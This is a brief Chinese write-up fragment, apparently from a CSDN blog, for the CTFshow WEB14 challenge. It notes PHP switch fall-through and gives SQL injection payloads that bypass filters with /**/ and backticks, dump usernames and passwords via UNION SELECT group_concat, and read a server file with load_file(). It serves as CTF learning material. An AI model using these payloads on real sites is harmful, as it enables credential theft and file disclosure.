在switch中，case 里如果没有 break，则会继续向下执行 case。

过滤了information_schema.tables、information_schema.column、空格

information_schema.tables 或 .columns  用反引号 information_schema.`tables`

同时查3个字段

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content 

从数据库中查看文件内容，mysql提供了读取本地文件的函数 load_file()

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

CTF show WEB14_ctf.show_web14-CSDN博客